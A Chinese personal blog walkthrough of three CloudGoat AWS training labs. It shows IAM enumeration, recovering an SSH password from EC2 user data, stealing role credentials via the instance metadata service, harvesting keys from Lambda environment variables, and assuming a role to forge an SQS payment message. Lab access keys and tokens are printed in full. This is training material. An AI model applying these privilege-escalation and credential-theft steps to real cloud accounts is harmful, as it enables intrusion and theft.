mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
Profile Image of the Author
btop251
Announcement
Welcome to my blog! 俺是ctf菜鸟，ai晓汁.
标签
2477 字
7 分钟
云安全03
2026-06-02
云安全
云安全

“CloudGoat”是安全公司 Rhino Security Labs 开发的一款专门设计为“自带漏洞”的 AWS 安全演练工具。

简单来说就是一个开源的自部署的云靶场

安装和部署#

安装依赖

sudo apt update
sudo apt install -y python3 python3-pip pipx unzip curl jq awscli
pipx ensurepath

安装 Terraform

wget -O terraform.zip https://releases.hashicorp.com/terraform/1.8.5/terraform_1.8.5_linux_amd64.zip
unzip terraform.zip
sudo mv terraform /usr/local/bin/
terraform version

安装 CloudGoat

pipx install cloudgoat
cloudgoat --help

配置

cloudgoat config aws

输入用户名称

aws用户创建看我第二篇博客云安全01 - Btop251的博客

配置白名单

cloudgoat config whitelist --auto

靶场搭建#

cloudgoat中有17个靶场，在Github页面的Scenarios Available部分可以导航到每个靶场的详情页面。

iam_enum_basics#

点击第一个iam_enum_basics靶场。

在这种情况下，你从一个名叫Bob的低级IAM用户的访问密钥开始。你的任务是使用 AWS CLI 进行全面的 IAM 枚举。通过调查托管政策、内联策略、组成员资格和可替代角色，你将发现五个不同的警示信号。

cloudgoat create iam_enum_basics

根据提供的用户信息登录新用户

aws configure --profile lel1

Flag 1: 映射出管理策略(The Description)#

列出托管在bob下的所有策略，返回一个ARNs（亚马逊资源名）列表

aws iam list-attached-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1

ARN（Amazon Resource Name）是 AWS 中唯一标识资源的标准名称，可以理解为 AWS 世界里的“资源身份证”。

当 AWS 需要指定：

  • 某个 IAM 用户
  • 某个 S3 存储桶
  • 某个 EC2 实例
  • 某个 Lambda 函数

时，通常都会使用 ARN。

接下来看这个arn下的具体数据，通过下面这个get命令

ubuntu@ip-172-31-37-19:~$ aws iam get-policy --policy-arn arn:aws:iam::259534891128:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1
{
    "Policy": {
        "PolicyName": "cg-flag1-managed-policy-cgid6iy7d9rxpn",
        "PolicyId": "ANPATY3L4FB4DHX4XDKAS",
        "Arn": "arn:aws:iam::259534891128:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "HSM{m4n4g3d_p0l1cy_m4st3r}",
        "CreateDate": "2026-06-08T08:55:30+00:00",
        "UpdateDate": "2026-06-08T08:55:30+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "scenario_template"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

在回显中找到flag1字段

 "Description": "HSM{m4n4g3d_p0l1cy_m4st3r}"

Flag 2: 查找内联策略(The Statement ID)#

概念：与托管策略不同，内联策略是自定义的、一次性的、直接固化到特定用户的规则。管理员经常创建它们来进行快速修复，然后又忘记了它们，使它们成为权限提升的主要目标。

检查bob有没有什么隐藏的内联策略

ubuntu@ip-172-31-37-19:~$ aws iam list-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1
{
    "PolicyNames": [
        "cg-flag2-inline-policy-cgid6iy7d9rxpn"
    ]
}

有了这个内联策略，拉去文档看看描述

ubuntu@ip-172-31-37-19:~$ aws iam get-user-policy --user-name cg-bob-cgid6iy7d9rxpn --profile lel1 --policy-n
ame  cg-flag2-inline-policy-cgid6iy7d9rxpn
{
    "UserName": "cg-bob-cgid6iy7d9rxpn",
    "PolicyName": "cg-flag2-inline-policy-cgid6iy7d9rxpn",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "ec2:DescribeInstances",
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "HSM1nl1n3p0l1cyd1sc0v3r3d"
            }
        ]
    }
}

拿到flag2

Flag 3:调查组成员 (The Path)#

概念：在AWS中，您不仅从直接附加到您的策略中获得权限；您还从所属的任何组继承所有权限。

在01篇中也有提到权限的获取也可以通过添加进组

检查bob属于哪个组

ubuntu@ip-172-31-37-19:~$ aws iam list-groups-for-user --user-name cg-bob-cgid6iy7d9rxpn --profile lel1
{
    "Groups": [
        {
            "Path": "/HSM_gr0up_m3mb3rsh1p_f0und/",
            "GroupName": "cg-flag3-group-cgid6iy7d9rxpn",
            "GroupId": "AGPATY3L4FB4BLZSKM3YX",
            "Arn": "arn:aws:iam::259534891128:group/HSM_gr0up_m3mb3rsh1p_f0und/cg-flag3-group-cgid6iy7d9rxpn",
            "CreateDate": "2026-06-08T08:55:30+00:00"
        }
    ]
}

Flag 4:通过可承担的规则(Roles)#

The Concept: Roles are temporary “hats” that a user can put on to gain different privileges. If a pentester finds an overly permissive role that their compromised user is allowed to assume, it’s often game over.

列出账户中所有的roles

 aws iam list-roles --profile lel1
{
            "Path": "/",
            "RoleName": "cg-flag4-role-cgid6iy7d9rxpn",
            "RoleId": "AROATY3L4FB4HEPHZGEKS",
            "Arn": "arn:aws:iam::259534891128:role/cg-flag4-role-cgid6iy7d9rxpn",
            "CreateDate": "2026-06-08T08:55:39+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::259534891128:user/cg-bob-cgid6iy7d9rxpn"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }

查他元数据

aws iam get-role --role-name cg-flag4-role-cgid6iy7d9rxpn --profile lel1

拿到flag

Flag 05: 策略版本#

当策略在后期修改时发现出现了修改错误可以进行回滚，类似git

首先，回顾第1步的输出defaultversionid（它通常是v1）

多加个规定版本

ubuntu@ip-172-31-37-19:~$ aws iam get-policy-version --policy-arn arn:aws:iam::259534891128:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1 --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:ListBucket",
                        "s3:GetObject"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:s3:::HSM{s3cr3t_js0n_str1ng}"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-06-08T08:55:30+00:00"
    }
}

拿到flag

data_secrets (Easy)#

在这种场景下，首先需要一个权限有限的IAM用户。你的任务是识别一个错误配置的EC2实例，泄露其用户数据中的凭据，让你获得SSH访问权限。从这里开始，您必须通过利用实例元数据服务（Instance Metadata Service， IMDS）来窃取角色，枚举Lambda函数以找到隐藏的环境变量，最后危及能够访问场景目标的用户：存储在AWS Secrets Manager中的秘密。

创建实例

cloudgoat create data_secrets

登录新用户

aws configure --profile start_user

枚举权限和EC2资源#

查看旗下有什么EC2资源

aws ec2 describe-instances --region us-east-1 --profile start_user

得到instance-id为i-09c6156a353b3b589

AWS中一个常见的错误配置是将敏感数据（脚本、密码、密钥）存储在EC2用户数据中，这对于拥有ec2:DescribeInstanceAttribute权限的用户是可见的

获取你找到的实例的用户数据：

ubuntu@ip-172-31-37-19:~$ aws ec2 describe-instance-attribute --instance-id i-09c6156a353b3b589 --attribute u
serData --region us-east-1 --profile start_user
{
    "InstanceId": "i-09c6156a353b3b589",
    "UserData": {
        "Value": "IyEvYmluL2Jhc2gKZWNobyAiZWMyLXVzZXI6Q2xvdWRHb2F0SW5zdGFuY2VQYXNzd29yZCEiIHwgY2hwYXNzd2QKc2VkIC1pICdzL1Bhc3N3b3JkQXV0aGVudGljYXRpb24gbm8vUGFzc3dvcmRBdXRoZW50aWNhdGlvbiB5ZXMvZycgL2V0Yy9zc2gvc3NoZF9jb25maWcKc2VydmljZSBzc2hkIHJlc3RhcnQK"
    }
}

image-20260610141448447

base64解码得到

#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart

通过实例得知他将密码改成了ec2-user:CloudGoatInstancePassword!，然后可以用这个密码和上面暴露的ip登录ssh

ssh ec2-user@3.239.44.224

一旦进入EC2实例，您就可以有效地访问附加到它的任何IAM角色。我们可以通过查询链接本地地址169.254.169.254来检索这些凭证。

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

得到一个角色cg-ec2-role-cgidvilqp7qpxs，接下来检索该角色的凭据：

curl http://169.254.169.254/latest/meta-data/iam/securi-cgidvilqp7qpxscg-ec2-role


{
  "Code" : "Success",
  "LastUpdated" : "2026-06-10T06:34:08Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATY3L4FB4J5WQZACG",
  "SecretAccessKey" : "Akd3TQot+60AVJyJlVyrOOsVUysTZwGTroGP4Vv4",
  "Token" : "IQoJb3JpZ2luX2VjEBcaCXVzLWVhc3QtMSJHMEUCIBcony0sIGB2n81jUXNYSVCM7khxwIT9I4jHEDJdhuG+AiEAwoK5/vE0YUDkSrBlLu5XzAgDshOjQr4pMTHbHv5ai4oqwgUI4P//////////ARAAGgwyNTk1MzQ4OTExMjgiDDuFDN8+dWApCEjOiSqWBUIDVyNNHFjzknfKhHjQDdJyETQzBOjbGSE0rIO1kp4VJyvnjE8FpJVxkoTtSuegRC2QWlj/AKDCFDZMxyvBiVFT33QIGm6YaK3fIs5TTSoWMe6RvNqrmVeBPwkjEiXRVdgaIkUZqVtGxvb7aW0LdkMVtzW/wd6G5YaiPPAxnbYkJPrdrrdYa7fyTQA9e4SvoPtib/igpeRQEA97TcomBedh3wLQlhjQII6gknZ2K8v9N5vZsdjtK6cXnOfXKAxr+BJEq0t2c5y+gCGkWfdoNfa+IBowHMbvw85IwD7I+1lKb9KieQcbckMUlEenPKpwcWReXPGo8C7t4I7pti/p3Jn4Fq2ioTr2nldUYU4v7wr85S+l6JLvquMxVDzHYLIjJs7kV8Hog/1bGvsBJHXDkPeVlMfUJf7s+m/YF8Wwg1mA7GQmvxFfVm1FYzkd3mNf+81BtkbkOGc3xRJ8Mvk3Cpit3zeWLTTUNo8Q+y2DT2g+K048hWv627+BqOIVbCe8bFqeXULDdcjdcdmaf4vwICcSvykSX+HLSMCtNEKQJI4pJss+FnRH/UASbC7pfvyMV0u19EhxpDjHcUwAk2qvyU+ooOfdzxMN/+rQmIoxCRVnGb1Oeka9Jz32+5SmxbARLz+sblimV8aGJgfYxQ0JWVDdjgNqiXeM8mTwWalb/5ZWsa/c5abuQ6bPl50Wgc2URy6nRvyj1at8n0X94oOkKMHZ4CNgfDV+UFQgu3XSMZelW5eeWgu+tnK590HEYmrvG7gQTj6GaEwg+ynoUCG6T6qcIESCSQVcxO1XZ9C+L9MCRZ7UxO6JqK8O1CuDsCXIdwS1Cl1CYBciF14n+M1+LhKrb1bBz4pL8pY5WQhaCFyGhjq0cqU0MO+KpNEGOrEB6yqGce9QI+HdW616Lzp+PbhySkow27N08ES5rIBrFA4DFK1El/ize1AOZYPs/z2eGvBrs6l9Dve57UCKSGMH3U9MVkrkMxfOrulnppqDbHlKppNWAqJsW1+uu3fBikY9MEYbt8z0ymSpy2cJWbqprdyHbA8muntGPmrb99Ed1fTgOh0tCs/npNo1LLjeGR8JgpwU2F+CJOhifRyrzknpD/95unND2yCSC8+1P4BbmwyF",
  "Expiration" : "2026-06-10T13:01:28Z"

盗用这些信息在本地也配置一个用户

aws configure --profile ec2_role

列举出这个profile下的函数

aws lambda list-functions --region us-east-1 --profile ec2_role


{
    "Functions": [
        {
            "FunctionName": "cg-lambda-function-cgidvilqp7qpxs",
            "FunctionArn": "arn:aws:lambda:us-east-1:259534891128:function:cg-lambda-function-cgidvilqp7qpxs",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::259534891128:role/cg-lambda-exec-role-cgidvilqp7qpxs",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 221,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2026-06-10T05:57:49.271+0000",
            "CodeSha256": "J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "DB_USER_ACCESS_KEY": "AKIATY3L4FB4G6TSQJWI",
                    "DB_USER_SECRET_KEY": "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"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "8ab7c2cb-5a81-4071-a0f9-27dcaf82054e",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/cg-lambda-function-cgidvilqp7qpxs"
            }
        }
    ]
}

开发人员经常不正确地将API密钥或数据库凭据存储在Lambda环境变量中。获取该函数的配置细节

aws lambda get-function --function-name cg-lambda-function-cgidvilqp7qpxs --region us-east-1 --profile ec2_role


{
    "Configuration": {
        "FunctionName": "cg-lambda-function-cgidvilqp7qpxs",
        "FunctionArn": "arn:aws:lambda:us-east-1:259534891128:function:cg-lambda-function-cgidvilqp7qpxs",
        "Runtime": "python3.9",
        "Role": "arn:aws:iam::259534891128:role/cg-lambda-exec-role-cgidvilqp7qpxs",
        "Handler": "lambda_function.lambda_handler",
        "CodeSize": 221,
        "Description": "",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2026-06-10T05:57:49.271+0000",
        "CodeSha256": "J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc=",
        "Version": "$LATEST",
        "Environment": {
            "Variables": {
                "DB_USER_ACCESS_KEY": "AKIATY3L4FB4G6TSQJWI",
                "DB_USER_SECRET_KEY": "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"
            }
        },
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "8ab7c2cb-5a81-4071-a0f9-27dcaf82054e",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:b46f7bc0f3da8071d1b824471f2c69c8766b756b827eb0455d2118c622ae7bcf"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/cg-lambda-function-cgidvilqp7qpxs"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/259534891128/cg-lambda-function-cgidvilqp7qpxs-35922ecb-916c-410c-9d02-34c6bf762f3c?versionId=y9iclg5EVyF1y.LWcCBRikGsNSIw23q7&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBAaCXVzLWVhc3QtMSJIMEYCIQCcxETAd%2FMCHu9tu60eM3g7h5qmJO12awIDyXsWUrUHtQIhANJLot1XEjxE982kyCsAySjJhZPQQlvirrGCvI7mq%2F7uKpQCCNj%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNzQ5Njc4OTAyODM5IgzX5MsuGTg%2F6EBi3pUq6AE7SZcYhhYnG1GQjAyA1K4lz5K%2FXtmcrtH7WhuYDatlpzH1pHJbmRs%2FlOCs4r%2Bk6i2zn%2FAaDVfB0b0g9yloVK%2F7KeEU71lGh644R7wgbh%2Bfh8TnRNeR1KGfag5VTTGVfpcCc3ZK6DChlYxX9k4yvtl%2FrZz2NKLnZnqBWPZ%2FWwI8g9juj41sGfNfATQ%2FNjQgCg6lCn%2Bn1%2BdYCgfEqody1QJxpr3%2Bz5JazA1ZvkXjfoH7HlWvqUI2zPhc4Rns7I1xdSafc5xwgfa3tFy9cPgO7PnbVLsJxS%2FXGNctXjxmwq7J0vymjX8KDthAMN29otEGOowBUj7R8mn%2BugJRzS%2Bimqfn7EPt4nf0eQXONtryilOg5j%2FySxwmap3itbqo1mG7eiTam4v3OxWrVUJHSvyL%2Fwg80ZkQlpaGbu%2BAzIfSP8Bz7QDij%2FqMxU2Khse7kWjrutFlCP3N1ZgAkhvbrrELOXq3HTBZFe3rwUhMngOEgWQyQo4L7kbVQqo0CvP%2B56o%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260610T065312Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY3UR7EXAWW%2F20260610%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=fb5d830d80622623234ce6dde900f420126cad059c42c14f82f31012bacb3f24"
    },
    "Tags": {
        "Name": "cg-lambda-cgidvilqp7qpxs",
        "Scenario": "scenario_template",
        "Stack": "CloudGoat"
    }
}

在返回的json中发现

"Variables": {
                "DB_USER_ACCESS_KEY": "AKIATY3L4FB4G6TSQJWI",
                "DB_USER_SECRET_KEY": "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"
            }

登录

aws configure --profile lambda_user

列出数据

ubuntu@ip-172-31-37-19:~$ aws secretsmanager list-secrets --region us-east-1 --profile lambda_user
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:259534891128:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC",
            "Name": "cg-final-flag-cgidvilqp7qpxs",
            "Description": "The final flag for the CloudGoat scenario",
            "LastChangedDate": "2026-06-10T05:57:43.723000+00:00",
            "LastAccessedDate": "2026-06-10T00:00:00+00:00",
            "Tags": [
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                },
                {
                    "Key": "Name",
                    "Value": "cg-final-flag-cgidvilqp7qpxs"
                },
                {
                    "Key": "Scenario",
                    "Value": "scenario_template"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20260610055743330600000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2026-06-10T05:57:42.426000+00:00"
        }
    ]
}

找到flag了

ubuntu@ip-172-31-37-19:~$ aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidvilqp7qpxs --regi
on us-east-1 --profile lambda_user
{
    "ARN": "arn:aws:secretsmanager:us-east-1:259534891128:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC",
    "Name": "cg-final-flag-cgidvilqp7qpxs",
    "VersionId": "terraform-20260610055743330600000002",
    "SecretString": "{\"flag\":\"d4t4_s3cr3ts_4r3_fun\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2026-06-10T05:57:43.718000+00:00"
}

暂时搁置，要不然期末要挂科了

恢复复更新，虽然还是挂科了，网络安全我阐述你的梦，没有网安专业整这种比背诵课作甚

sqs_flag_shop (Easy)#

首先，从 SHOP 页面开始，在那里你可以购买 FLAG。该网站包含多个页面，你可以看到源代码是公开的。攻击者会分析代码以寻找漏洞，并利用其权限来购买 FLAG。

开启靶场

cloudgoat create sqs_flag_shop

为什么我打不开网址，不管了，假装我打开了，直接开始云上打击

$ aws --profile sqs_user sts get-caller-identity


{
    "UserId": "XXXXXXXXXXXXXXXXXXZF4",
    "Account": "XXXXXXXXXXXX",
    "Arn": "arn:aws:iam::XXXXXXXX:user/cg-sqs-user-sqs_flag_shop_cgidbXXXXXXXXX"
}

关于ARN#

ARN（Amazon Resource Name，亚马逊资源名称） 是 AWS 中每个资源的唯一标识符，可以理解为资源的“身份证号”。当你需要在策略、API调用或标签中明确指定某个资源时，就必须使用ARN

ARN的格式遵循一个通用模板，但具体细节会因资源类型而异。它的基本结构如下：

arn:partition:service:region:account-id:resource

你可以把它想象成一个有6个部分的地址，每个部分都指明了资源在AWS世界中的位置。

组成部分说明示例
arn前缀。固定以 arn 开头，表明这是一个亚马逊资源名称。arn
partition分区。资源所在的大区。标准区域是 aws，中国区域是 aws-cn，AWS GovCloud (US) 是 aws-us-gov。aws
service服务。资源所属的AWS服务命名空间，如 iam、s3、ec2、rds 等。s3
region区域。资源所在的AWS区域代码，如 us-east-1。注意：部分全球性服务（如IAM）或资源（如S3存储桶）的ARN可能会省略此项。us-west-2
account-id账户ID。拥有该资源的AWS账户ID（不含连字符），如 123456789012。同样，某些资源可能会省略此项。123456789012
resource资源标识。最后一部分，用于唯一标识资源本身。它可以是资源的ID、名称或路径，格式多样。用户 user/Bob VPC vpc/vpc-0e9801d129EXAMPLE S3对象 bucket-name/file.txt

ARN最重要的用途是在 IAM 权限策略 中，通过 Resource 元素来精确控制可以访问哪个资源。

  • 精确指定："Resource": "arn:aws:s3:::example-bucket" 只允许访问名为 example-bucket 的存储桶。
  • 通配符使用：使用 * 和 ? 通配符，可以匹配多个资源。例如，"Resource": "arn:aws:s3:::example-bucket/*" 可以匹配该存储桶内的所有对象

列举用户策略

AWS 策略用于定义身份和资源的权限。看看我们的用户关联那些策略

$ aws --profile sqs_user iam list-user-policies --user-name cg-sqs-user-cgid53u6q7pmic


{
    "PolicyNames": [
        "cg-sqs-scenario-assumed-role"
    ]
}

该用户有一个附加策略。看看内容

$ aws --profile sqs_user iam get-user-policy --user-name cg-sqs-user-cgid53u6q7pmic --policy-name cg-sqs-scenario-assumed-role


{
    "UserName": "cg-sqs-user-cgid53u6q7pmic",
    "PolicyName": "cg-sqs-scenario-assumed-role",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::259534891128:role/cg-sqs-send-message-cgid53u6q7pmic"
            }
        ]
    }
}

仔细看看这个策略

{ “Action”: [ “iam*”, “iam*” ], “Effect”: “Allow”, “Resource”: ”*” },

允许所有的Get*和List*操作，且对所有用户生效

{ “Action”: “sts”, “Effect”: “Allow”, “Resource”: “arn:aws:iam::259534891128/” }

允许用户扮演（Assume）指定的 IAM 角色，这个就是越权的关键，如果这个可扮演的IAM具有更高的权限就可以通过扮演他来实现越权

$ aws --profile sqs_user iam list-role-policies --role-name cg-sqs-send-message-cgid53u6q7pmic


{
    "PolicyNames": [
        "cg-sqs"
    ]
}

附带一个policy，检查一下内容

$ aws --profile sqs_user iam get-role-policy --role-name cg-sqs-send-message-cgid53u6q7pmic --policy-name cg-sqs


{
    "RoleName": "cg-sqs-send-message-cgid53u6q7pmic",
    "PolicyName": "cg-sqs",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sqs:GetQueueUrl",
                    "sqs:SendMessage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:sqs:us-east-1:259534891128:cash_charging_queue"
            }
        ]
    }
}
操作说明用途
sqs:GetQueueUrl获取队列的 URL 地址需要先知道队列 URL 才能发送消息
sqs:SendMessage向队列发送消息核心功能，向队列写入数据

关于SQS#

Amazon Simple Queue Service (Amazon SQS) 是一个全托管的消息队列服务，它就像是一个在分布式系统之间传递消息的可靠“信箱”，用于解耦和缓冲各个组件

它的核心工作模式是异步通信，可以确保消息在发送方和接收方之间安全、持久地传递

一个消息在 SQS 中的典型旅程是这样的：

  1. 生产 (Send)：生产者（Producer，比如你的应用或用户）将消息发送到 SQS 队列。
  2. 存储 (Store)：SQS 会将消息持久化地存储在多个服务器上，确保高可用性。
  3. 消费 (Receive)：消费者（Consumer，比如你的旗店服务器中的某个组件）从队列中拉取（Poll）消息进行处理。
  4. 锁定与删除 (Lock & Delete)：消息被拉取后，会进入一个“可见性超时”（Visibility Timeout）状态，在此期间对其他消费者不可见，防止被重复处理。处理成功后，消费者需要显式地从队列中删除该消息。

看到这个IAM可以send到SQS，而且我们还可以assume这个IAM，于是攻击链就确定了

$ aws --profile sqs_user sts assume-role --role-arn arn:aws:iam::259534891128:role/cg-sqs-sen
d-message-cgid53u6q7pmic --role-session-name sqs_send_role


{
    "Credentials": {
        "AccessKeyId": "ASIATY3L4FB4H4RJP3U5",
        "SecretAccessKey": "THJnIXW4aIDs5T51e59SAr9rfAqtqa25lbTZcGu2",
        "SessionToken": "IQoJb3JpZ2luX2VjED8aCXVzLWVhc3QtMSJHMEUCIQDhUjOFHZOzkXqQNys4CDd700CkTwpl0ugwmm1yZwn9vgIgL9U5osFx//Kxm+S5XE29ba22jWQM7CKAc60HwdZ1xxUqmgIIBxAAGgwyNTk1MzQ4OTExMjgiDGNvdifW3pzi3MBoRSr3AS3+K9UtnybWpFVq712u4q1ZhFi3bFos/0wLfO5XoXcQXAwfF1/ZFuk7SPt1WIdOcSavdF5smGrT2SRc+KMsDvv8mjo13RvRd3hjBxDgzzFxNNZ5lUy9+c1vdJypwXRABj6NvCdrqh9+MsTyH9OHFY5ZQyWWk419wwQzN5Tf95EhF33IpksvHoY/w12pB+FvdoG7tKt+SrpJzdQ4ZE7LdBr1PkODULA4jXyRLEqg8lAmNe91fLZCTp9fg8XNeelYWdne6Ypcnq9mxjP6wqarN/tqmObOpUCvdhoQnWBhsRy8hrjwiIJikWV5DWfxu6OM/y/XC+4af8Yw6eON0wY6nQEIjOSp7J7Ec16XV+EFHIFpIyUjQKkJLvbuElNZV9LGK1oWwSGeS2FCYU/eKtaKk1D46tRr/4UPLlFU3fm/ZgxKXnYjL9q5FehNA7S2izyBZAo9285WWysiZlMBkzE2B3NA2tX0Zp+0F6WRZTak6tNyQQB594bAgsTGo+BCsFC5jTiH+Q6xlX9OGYd6dQ4sAS2Y34I8LJ1oBCRLbpEE",
        "Expiration": "2026-07-24T15:08:41+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROATY3L4FB4NE7TBXGDT:sqs_send_role",
        "Arn": "arn:aws:sts::259534891128:assumed-role/cg-sqs-send-message-cgid53u6q7pmic/sqs_send_role"
    }
}

查找sqs队列的url

~$ aws --profile sqs_send_role sqs get-queue-url --queue-name cash_charging_queue
{
    "QueueUrl": "https://sqs.us-east-1.amazonaws.com/259534891128/cash_charging_queue"
}

之后可以知道这个网址的逻辑是在用户端发送请求的时候会传一个POST包用json格式将数据发到客户端，于是我们可以利用这个IAM直接上次一个数据包改掉我们的金币

$ aws --profile sqs_send_role sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/259534891128/cash_charging_queue --message-body '{"charge_amount": 100000000}'

但是我没执行成功，甚至连靶场开的url都打不开，算了，知道这题的逻辑就行了，总结一下还是先信息搜集，在一个arn中找到一个assume策略，扮演一个更高权限的用户，实现越权修改数据，实战真能遇到吗

分享

如果这篇文章对你有帮助，欢迎分享给更多人！

云安全03
https://blog.btop251.top/posts/cloud-security/cloud-security03/
作者
btop251
发布于
2026-06-02
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

神砖转专业指北
云安全工具（持续更新
相关文章 智能推荐
1
云安全02
云安全 flaws.cloud靶场练习
2
云安全00
云安全 该学点新东西了，先开个头
3
云安全01
云安全 这篇重点在说明云安全中的相关概念
4
云安全工具（持续更新
云安全 一个工具开一篇博客的话就太水了，还是整合到一起讲吧
5
记一次xiaomi路由器的改造
others ssh兼科学上网
随机文章 随机推荐
1
水题
CTF 2025-12-16
2
xxe基础
CTF 2026-01-12
3
fenjing(焚靖)
CTF 2025-11-25
4
尊贵的罗德岛CEO生日快乐
others 2025-12-23
5
计算机网络
computer 2026-05-24
© 2026 btop251. All Rights Reserved. / RSS / Atom / Sitemap
Powered by Astro & Mizuki  Version 9.0

目录